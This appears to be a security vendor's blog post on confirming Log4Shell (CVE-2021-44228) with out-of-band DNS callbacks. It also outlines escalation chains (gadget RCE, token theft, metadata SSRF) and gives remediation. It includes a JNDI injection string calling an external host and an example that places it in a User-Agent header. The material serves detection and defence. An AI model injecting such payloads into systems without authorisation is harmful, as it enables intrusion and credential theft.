Log4Shell chain replay: confirming CVE-2021-44228 with an out-of-band callback

Log4Shell (CVE-2021-44228) is still one of the highest-impact bugs a team can carry. The signature is simple — a JNDI-triggering string reaches a vulnerable logger — but the confirmation is anything but. A pattern-matched response that echoes the payload back means nothing; a DNS callback from the target means everything.

This post explains why out-of-band confirmation is the only reliable signal for Log4Shell, and how Pentrova replays the full escalation chain after the initial trigger.

Why pattern matching fails for Log4Shell#

The vulnerability lives in Log4j’s message-lookup substitution: a string like ${jndi:ldap://attacker/x} written to a vulnerable logger causes the logger to perform a JNDI lookup against an attacker-controlled server. The problem for a scanner is that the payload often appears in the response (reflected in an error page, a search result, a header echo) whether or not the logger is vulnerable.

So a reflected payload is a false-positive generator. The only thing that proves exploitation is the side effect: the target’s logger reaching out across the network. That is why detection has to be built around an out-of-band callback, the same discipline we apply to blind XXE-to-SSRF.

How Pentrova confirms it#

Pentrova’s Log4Shell detection is structured around the callback:

1. Inject a canaryed JNDI payload into every user-controllable header and body field. Each payload carries a unique channel tag so a callback can be attributed back to the exact injection point.
2. Listen on a dedicated out-of-band channel for the DNS lookup a vulnerable logger triggers.
3. Report only when the exchange completes end to end — injection in, callback out, correlated by the canary tag.

inject:  User-Agent: ${jndi:ldap://pv-a9f3.oob.example/x}
observe: DNS query for pv-a9f3.oob.example  ← vulnerable logger reached out
result:  confirmed — correlated by canary tag pv-a9f3

The PoC bundle includes the injected request, the out-of-band capture, and the Java version inferred from server fingerprinting. Because the signal is a real side effect rather than a reflected string, the finding is deterministic proof rather than a probability score.

Chain replay: from trigger to impact#

Single-shot detection answers “is it vulnerable”. Chain replay answers “what can an attacker reach from here”. When the JNDI exchange completes, Pentrova promotes the finding into the escalation catalog and attempts the follow-on chains:

• Serialised-object delivery — the JNDI response delivers a gadget chain for code execution.
• Cached-token theft — reading credentials or tokens reachable from the compromised process.
• SSRF against internal metadata — pivoting to the cloud metadata service for instance-role credentials.

Every step runs under sandbox guardrails, with destructive actions held back in favour of read-only equivalents, so the chain is safe to reproduce while still demonstrating real impact.

Remediation#

The durable fixes have not changed since 2021, and they are worth re-stating because vulnerable versions still ship in transitive dependencies:

• Upgrade Log4j to a fixed release (2.17.1 or later for the 2.x line).
• Remove the JndiLookup class where an upgrade is blocked: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
• Deny outbound egress from application workloads as defence in depth, so a JNDI lookup has nowhere to go.

Key takeaways#

• A reflected Log4Shell payload proves nothing; only an out-of-band callback confirms exploitation.
• Pentrova injects canaryed JNDI payloads and reports only on a correlated DNS callback.
• Chain replay extends a confirmed trigger into serialised-object RCE, token theft, and SSRF — under sandbox guardrails.
• Remediation is upgrade, remove JndiLookup, and deny egress.

FAQ#

Is Log4Shell still relevant in 2026? Yes. Vulnerable Log4j versions persist in transitive dependencies and unmaintained services. Continuous testing catches a vulnerable logger that reappears through a dependency bump, which is why it belongs in a CI-gated pentest.

Why is out-of-band detection more reliable than scanning responses? Because the payload frequently appears in responses regardless of vulnerability. The DNS callback is a true side effect that only a vulnerable logger produces, so it has effectively no false-positive rate.

Is it safe to test for Log4Shell in production? The confirmation step is a benign DNS lookup, and escalation runs under sandbox guardrails with read-only equivalents. Conservative production runs are supported; full chain replay is recommended in staging.

See how out-of-band chains replay in the platform pipeline, or start a free engagement.